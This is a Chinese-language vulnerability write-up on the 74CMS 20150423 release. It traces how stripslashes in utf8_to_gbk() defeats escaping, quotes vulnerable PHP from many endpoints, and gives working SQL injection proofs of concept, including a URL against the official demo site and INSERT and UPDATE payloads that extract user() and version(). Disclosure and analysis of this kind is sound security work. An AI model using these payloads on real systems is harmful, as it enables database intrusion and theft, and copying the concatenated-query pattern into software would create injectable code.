74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)

74CMS最新版在处理转码现在使用的utf8_to_gbk()函数,看过74CMS的都知道之前用的iconv函数被雨牛报过漏洞,现在里面使用了stripslashes函数:

//编码转换

function utf8_to_gbk($utfstr) {

    $utfstr=stripslashes($utfstr);//使用stripslashes函数可以干掉GPC的转义

    if(is_numeric($utfstr)){

        return $utfstr;

    }

    global $UC2GBTABLE;

    $okstr = '';

    if(empty($UC2GBTABLE)) {

        define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR);

        $filename = CODETABLEDIR.'gb-unicode.table';

        $fp = fopen($filename, 'rb');

        while($l = fgets($fp,15)) {        

            $UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6));

        }

        fclose($fp);

    }

    $okstr = '';

    $ulen = strlen($utfstr);

    for($i=0; $i<$ulen; $i++) {

        $c = $utfstr[$i];

        $cb = decbin(ord($utfstr[$i]));

        if(strlen($cb)==8) { 

            $csize = strpos(decbin(ord($cb)),'0');

            for($j = 0; $j < $csize; $j++) {

                $i++; 

                $c .= $utfstr[$i];

            }

            $c = utf8_to_unicode($c);

            if(isset($UC2GBTABLE[$c])) {

                $c = dechex($UC2GBTABLE[$c]+0x8080);

                $okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3]));

            } else {

                $okstr .= '&#'.$c.';';

            }

        } else {

            $okstr .= $c;

        }

    }

    $okstr = trim($okstr);

    return addslashes_deep($okstr);//返回的时候又使用了addslashes函数,我们跟进看看

}

现在存在两种情况:
1.GPC开启,stripslashes函数干掉GPC的转义;
2.GPC关闭,但是有全局转义的函数,stripslashes干掉全局转义;
我们跟进addslashes_deep函数:

function addslashes_deep($value)

{

    if (empty($value))

    {

        return $value;

    }

    else

    {

        if (!get_magic_quotes_gpc())

        {

        $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));

        }

        else

        {

        $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);

        }

        return $value;

    }

}

主要逻辑在else里:
1.GPC开启,直接使用mystrip_tags函数处理,然后返回;
2.GPC关闭,再次使用addslashes函数进行转义处理,然后返回;
也就是说如果GPC开启,那么使用stripslashes函数直接就生吞GPC?吓得我一身冷汗...我们再跟进mystrip_tags函数看看有没有过滤:

/**

 * xss过滤函数

 * @param $string

 * @return string

 */

function mystrip_tags($string)

{

    $string = new_html_special_chars($string);

    $string = remove_xss($string);

    return $string;

}

function new_html_special_chars($string) {

    $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);

    $string = strip_tags($string);

    return $string;

}

发现仅仅简单过滤xss,那么注入就来了!
我们全局搜索下看使用utf8_to_gbk()函数处理的条数,竟然有82条:
1
注入1./plus/ajax_common.php

elseif($act=="hotword")

{

	if (empty($_GET['query']))

	{

	exit();

	}

	$gbk_query=trim($_GET['query']);

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

	$gbk_query=utf8_to_gbk($gbk_query);

	}

	$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";

	$result = $db->query($sql);

... ...

POC:http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E4%BC%9A%E8%AE%A1%%27%20and%20w_hot%20like%20%27%1
1
sqlmap直接跑无压力,就是这么暴力,就是这么任性:
1
注入2./plus/ajax_street.php

elseif($act == 'key')

{

	$key=trim($_GET['key']);

	if (!empty($key))

	{

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=utf8_to_gbk($key);

	$result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");

... ...

POC:http://demo.74cms.com/plus/ajax_street.php?act=key&key=%E5%BB%BA%E8%AE%BE%%27%20and%20c_name%20like%20%27%%E5%BB%BA%E8%AE%BE
1
1
注入3./plus/ajax_user.php

elseif($act =='check_usname')

{

	require_once(QISHI_ROOT_PATH.'include/fun_user.php');

	$usname=trim($_POST['usname']);

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

	$usname=utf8_to_gbk($usname);

	}

	$user=get_user_inusername($usname);

... ...

跟进get_user_inusername

function get_user_inusername($username)

{

	global $db;

	$sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";

	return $db->getone($sql);

}

直接sqlmap验证,我们注册一个账户叫Tester
1
1
注入4./plus/ajax_user.php

elseif($act == 'check_email')

{

	require_once(QISHI_ROOT_PATH.'include/fun_user.php');

	$email=trim($_POST['email']);

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

	$email=utf8_to_gbk($email);

	}

	$user=get_user_inemail($email);

... ...

跟进get_user_inemail

function get_user_inemail($email)

{

	global $db;

	return $db-&gt;getone("select * from ".table('members')." where email = '{$email}' LIMIT 1");

}

同样用注册邮箱88888@qq.com测试
1
1
注入5./user/user_apply_jobs.php

elseif ($act=="app_save")

{

	$jobsid=isset($_POST['jobsid'])?$_POST['jobsid']:exit("出错了");

	$resumeid=isset($_POST['resumeid'])?intval($_POST['resumeid']):exit("出错了");

	$notes=isset($_POST['notes'])?trim($_POST['notes']):"";

	$pms_notice=intval($_POST['pms_notice']);

	$jobsarr=app_get_jobs($jobsid);

	if (empty($jobsarr))

	{

	exit("职位丢失");

	}

	$resume_basic=get_resume_basic($_SESSION['uid'],$resumeid);

	$resume_basic = array_map("addslashes", $resume_basic);

	if (empty($resume_basic))

	{

	exit("简历丢失");

	}

	$i=0;

	foreach($jobsarr as $jobs)

	 {

	 		$jobs = array_map("addslashes", $jobs);

	 		if (check_jobs_apply($jobs['id'],$resumeid,$_SESSION['uid']))

			{

			 continue ;

			}

			if ($resume_basic['display_name']=="2")

			{

				$personal_fullname="N".str_pad($resume_basic['id'],7,"0",STR_PAD_LEFT);

			}

			elseif($resume_basic['display_name']=="3")

			{

				$personal_fullname=cut_str($resume_basic['fullname'],1,0,"**");

			}

			else

			{

				$personal_fullname=$resume_basic['fullname'];

			}

	 		$addarr['resume_id']=$resumeid;

			$addarr['resume_name']=$personal_fullname;

			$addarr['personal_uid']=intval($_SESSION['uid']);

			$addarr['jobs_id']=$jobs['id'];

			$addarr['jobs_name']=$jobs['jobs_name'];

			$addarr['company_id']=$jobs['company_id'];

			$addarr['company_name']=$jobs['companyname'];

			$addarr['company_uid']=$jobs['uid'];

			$addarr['notes']= $notes;

			if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

			{

			$addarr['notes']=utf8_to_gbk($addarr['notes']);

			}

			$addarr['apply_addtime']=time();

			$addarr['personal_look']=1;

			if (inserttable(table('personal_jobs_apply'),$addarr))

//是个insert型注入,请看下面实战分析

... ...

注入5有点略长,需要注册三个账户:求职者A(HunterA),求职者B(HunterB)和企业C(HackerE)
首先HunterA申请HackerE发布的职位
1
然后点击投递后抓包,上insert型的payload狙击:

1111',1434898210,1),('3', 'HunterB', '4', '1', user(), '1', version(), '2', '1111

1
HackerE登录后即可成功获取注入信息
1
注入6./user/user_invited.php

$addarr['resume_name']=$resume['fullname'];

	}

	$addarr['resume_uid']=$resume['uid'];

	$addarr['company_id']=$jobs['company_id'];

	$addarr['company_addtime']=$jobs['company_addtime'];

	$addarr['company_name']=$jobs['companyname'];

	$addarr['company_uid']=$_SESSION['uid'];

	$addarr['jobs_id']=$jobs['id'];

	$addarr['jobs_name']=$jobs['jobs_name'];

	$addarr['jobs_addtime']=$jobs['addtime'];	

	$addarr['notes']= $notes;

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

		$addarr['notes']=utf8_to_gbk($addarr['notes']);

	}

	$addarr['personal_look']= 1;

	$addarr['interview_addtime']=time();

	$resume_user=get_user_info($resume['uid']);

	$resume_user = array_map("addslashes",$resume_user);

	if ($_CFG['operation_mode']=="2")

	{

		inserttable(table('company_interview'),$addarr);

//同注入5,同为$addarr的insert注入

注入7./user/user_report.php

elseif ($act=="app_save")

{

	$setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了");

	$setsqlarr['jobs_id']=$_POST['jobs_id']?intval($_POST['jobs_id']):exit("出错了");

	$setsqlarr['jobs_name']=trim($_POST['jobs_name'])?trim($_POST['jobs_name']):exit("出错了");

	$setsqlarr['jobs_addtime']=intval($_POST['jobs_addtime']);

	$setsqlarr['uid']=intval($_SESSION['uid']);

	$setsqlarr['addtime']=time();

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

	$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);

	$setsqlarr['jobs_name']=utf8_to_gbk($setsqlarr['jobs_name']);

	}

	$jobsarr=app_get_jobs($setsqlarr['jobs_id']);

	if (empty($jobsarr))

	{

	exit("职位丢失");

	}

	else

	{

		$insert_id = inserttable(table('report'),$setsqlarr,1);

//很明显,又是inset注入

注入8./user/user_report_resume.php

elseif ($act=="app_save")

{

	$setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了");

	$setsqlarr['resume_id']=$_POST['resume_id']?intval($_POST['resume_id']):exit("出错了");

	$setsqlarr['title']=trim($_POST['full_name'])?trim($_POST['full_name']):exit("出错了");

	$setsqlarr['resume_addtime']=intval($_POST['resume_addtime']);

	$setsqlarr['uid']=intval($_SESSION['uid']);

	$setsqlarr['addtime']=time();

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

	$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);

	$setsqlarr['title']=utf8_to_gbk($setsqlarr['title']);

	}

	$resume=get_resume_basic($setsqlarr['resume_id']);

	if (empty($resume))

	{

	exit("简历丢失");

	}

	else

	{

		$insert_id = inserttable(table('report_resume'),$setsqlarr,1);

//insert注入

注入9./user/company/company_info.php(该文件注入点太多,需要注册企业账户,也不赘述)

elseif ($act=='company_profile_save')

{

	

	$uid=intval($_SESSION['uid']);

	$setsqlarr['uid']=intval($_SESSION['uid']);

	$setsqlarr['companyname']=trim($_POST['companyname'])?utf8_to_gbk(trim($_POST['companyname'])):exit('您没有输入企业名称!');

	check_word($_CFG['filter'],$setsqlarr['companyname'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['nature']=trim($_POST['nature'])?intval($_POST['nature']):exit('您选择企业性质!');

	$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));

	$setsqlarr['trade']=trim($_POST['trade'])?intval($_POST['trade']):exit('您选择所属行业!');

	$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));

	$setsqlarr['district']=intval($_POST['district'])>0?intval($_POST['district']):exit('您选择所属地区!');

	$setsqlarr['sdistrict']=intval($_POST['sdistrict']);

	$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));

	if (intval($_POST['street'])>0)

	{

	$setsqlarr['street']=intval($_POST['street']);

	$setsqlarr['street_cn']=utf8_to_gbk(trim($_POST['street_cn']));

	}

	$setsqlarr['scale']=trim($_POST['scale'])?utf8_to_gbk(trim($_POST['scale'])):exit('您选择公司规模!');

	$setsqlarr['scale_cn']=utf8_to_gbk(trim($_POST['scale_cn']));

	$setsqlarr['registered']=utf8_to_gbk(trim($_POST['registered']));

	$setsqlarr['currency']=utf8_to_gbk(trim($_POST['currency']));

	$setsqlarr['address']=trim($_POST['address'])?utf8_to_gbk(trim($_POST['address'])):exit('请填写通讯地址!');

	check_word($_CFG['filter'],$setsqlarr['address'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['contact']=trim($_POST['contact'])?utf8_to_gbk(trim($_POST['contact'])):exit('请填写联系人!');

	check_word($_CFG['filter'],$setsqlarr['contact'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['telephone']=trim($_POST['telephone'])?utf8_to_gbk(trim($_POST['telephone'])):exit('请填写联系电话!');

	check_word($_CFG['filter'],$setsqlarr['telephone'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写联系邮箱!');

	check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['website']=utf8_to_gbk(trim($_POST['website']));

	check_word($_CFG['filter'],$setsqlarr['website'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['contents']=trim($_POST['contents'])?utf8_to_gbk(trim($_POST['contents'])):exit('请填写公司简介!');

	check_word($_CFG['filter'],$setsqlarr['contents'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['yellowpages']=intval($_POST['yellowpages']);

	

	

	$setsqlarr['contact_show']=intval($_POST['contact_show']);

	$setsqlarr['email_show']=intval($_POST['email_show']);

	$setsqlarr['telephone_show']=intval($_POST['telephone_show']);

	$setsqlarr['address_show']=intval($_POST['address_show']);

		

	if ($_CFG['company_repeat']=="0")

	{

		$info=$db->getone("SELECT uid FROM ".table('company_profile')." WHERE companyname ='{$setsqlarr['companyname']}' AND uid<>'{$_SESSION['uid']}' LIMIT 1");

注入点10./user/personal/personal_resume.php(注入点很多,update型注入点)
再来一处update型注入点

elseif ($act=='ajax_save_basic')

{

	$setsqlarr['uid']=intval($_SESSION['uid']);

	$setsqlarr['telephone']=trim($_POST['mobile'])?trim($_POST['mobile']):exit('请填写手机号!');

	$go_verify=0;

	if($user['mobile_audit']==0){

		$verifycode=trim($_POST['verifycode']);

		if($verifycode){

			if (empty($_SESSION['mobile_rand']) || $verifycode<>$_SESSION['mobile_rand'])

			{

				exit("手机验证码错误");

			}

			else

			{

				$verifysqlarr['mobile'] = $setsqlarr['telephone'];

				$verifysqlarr['mobile_audit'] = 1;

				$go_verify=1;

				updatetable(table('members'),$verifysqlarr," uid='{$setsqlarr['uid']}'");

				unset($verifysqlarr);

			}

		}

		unset($_SESSION['verify_mobile'],$_SESSION['mobile_rand']);

	}

	$setsqlarr['title']=trim($_POST['title'])?utf8_to_gbk(trim($_POST['title'])):"未命名简历";

	check_word($_CFG['filter'],$setsqlarr['title'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['fullname']=trim($_POST['fullname'])?utf8_to_gbk(trim($_POST['fullname'])):exit('请填写姓名!');

	check_word($_CFG['filter'],$setsqlarr['fullname'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['display_name']=intval($_POST['display_name']);

	$setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):exit('请选择性别!');

	$setsqlarr['sex_cn']=utf8_to_gbk(trim($_POST['sex_cn']));

	$setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):exit('请正确填写出生年份');

	$setsqlarr['residence']=trim($_POST['residence'])?utf8_to_gbk(trim($_POST['residence'])):exit('请选择现居住地!');

	$setsqlarr['residence_cn']=utf8_to_gbk(trim($_POST['residence_cn']));

	$setsqlarr['education']=intval($_POST['education'])?intval($_POST['education']):exit('请选择学历');

	$setsqlarr['education_cn']=utf8_to_gbk(trim($_POST['education_cn']));

	$setsqlarr['experience']=intval($_POST['experience'])?intval($_POST['experience']):exit('请选择工作经验');

	$setsqlarr['experience_cn']=utf8_to_gbk(trim($_POST['experience_cn']));

	$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写邮箱!');

	check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):'';

	$setsqlarr['email_notify']=$_POST['email_notify']=="1"?1:0;

	$setsqlarr['height']=intval($_POST['height']);

	$setsqlarr['householdaddress']=trim($_POST['householdaddress']);

	$setsqlarr['householdaddress_cn']=utf8_to_gbk(trim($_POST['householdaddress_cn']));	

	$setsqlarr['marriage']=intval($_POST['marriage']);

	$setsqlarr['marriage_cn']=utf8_to_gbk(trim($_POST['marriage_cn']));

	$setsqlarr['intention_jobs']=utf8_to_gbk(trim($_POST['intention_jobs']))?utf8_to_gbk(trim($_POST['intention_jobs'])):exit('请选择意向职位!');

	$setsqlarr['trade']=$_POST['trade']?trim($_POST['trade']):exit('请选择期望行业!');

	$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));

	$setsqlarr['district']=trim($_POST['district'])?intval($_POST['district']):exit('请选择期望工作地区!');

	$setsqlarr['sdistrict']=intval($_POST['sdistrict']);

	$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));

	$setsqlarr['nature']=intval($_POST['nature'])?intval($_POST['nature']):exit('请选择期望岗位性质!');

	$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));

	$setsqlarr['wage']=intval($_POST['wage'])?intval($_POST['wage']):exit('请选择期望薪资!');

	$setsqlarr['wage_cn']=utf8_to_gbk(trim($_POST['wage_cn']));

	$setsqlarr['refreshtime']=$timestamp;

	$_CFG['audit_edit_resume']!="-1"?$setsqlarr['audit']=intval($_CFG['audit_edit_resume']):"";

	updatetable(table('resume'),$setsqlarr," id='".intval($_REQUEST['pid'])."'  AND uid='{$setsqlarr['uid']}'");

修改我个人简历后抓包,update注入,覆盖掉可控的telephone变量,POC如下:

fullname=HunterA', telephone = user(), sex='1

1
预览简历发现telephone字段成功注出
1
注入11、12./user/plus/ajax_user.php

elseif($act =='check_usname')

{

	require_once(QISHI_ROOT_PATH.'include/fun_user.php');

	$usname=trim($_POST['usname']);

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

	$usname=utf8_to_gbk($usname);//注入11

	}

	$user=get_user_inusername($usname);

	if (defined('UC_API'))

	{

		include_once(QISHI_ROOT_PATH.'uc_client/client.php');

		if (uc_user_checkname($usname)===1 && empty($user))

		{

		exit("true");

		}

		else

		{

		exit("false");

		}

	}

	empty($user)?exit("true"):exit("false");

}

elseif($act == 'check_email')

{

	require_once(QISHI_ROOT_PATH.'include/fun_user.php');

	$email=trim($_POST['email']);

	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

	{

	$email=utf8_to_gbk($email);//注入12.

	}

	$user=get_user_inemail($email);

	if (defined('UC_API'))

	{

		include_once(QISHI_ROOT_PATH.'uc_client/client.php');

		if (uc_user_checkemail($email)===1 && empty($user))

		{

		exit("true");

		}

		else

		{

		exit("false");

		}

	}

	empty($user)?exit("true"):exit("false");

}

1
1
注入13-15./wap/personal/wap_user.php、/wap/personal/wap_apply.php、/wap/company/wap_company_jobs.php
wap端的功能存在同样问题

// 修改简历名

elseif($act == 'resume_name_save')

{

    $smarty->cache = false;

    $_POST=array_map("utf8_to_gbk", $_POST);

    $resume_id=intval($_POST["resume_id"]);

    $uid=intval($_SESSION["uid"]);

    $title=trim($_POST['title'])?trim($_POST['title']):exit("请输入简历名称");

    $sql="update ".table("resume")." set title='$title' where id=$resume_id and uid=$uid ";

    if($db->query($sql)){

        exit("ok");

    }else{

        exit("err");

    }

我们看到是个update型的注入,由于是简历,那么我们可以在其它字段显示出来,后边的引号再用引号闭合即可!
查看数据库中resume表的字段,那么就使用fullname字段出注入数据,sex字段闭合后面单引号
1
在个人简历处,修改简历名字并抓包,POC为title=bob',fullname=user(),sex='1
1
查看基本信息,发现成功获取当前的用户:
1

发表评论